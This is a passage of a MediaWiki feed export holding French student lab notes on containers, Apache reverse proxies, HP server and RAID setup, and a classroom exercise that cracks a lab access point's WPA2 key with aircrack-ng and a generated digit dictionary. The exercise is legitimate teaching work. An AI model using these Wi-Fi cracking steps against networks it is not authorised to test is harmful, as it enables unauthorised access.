         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Handshake2.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48591</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48591"/>
				<updated>2018-12-11T14:31:46Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Crack de réseau Wifi WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
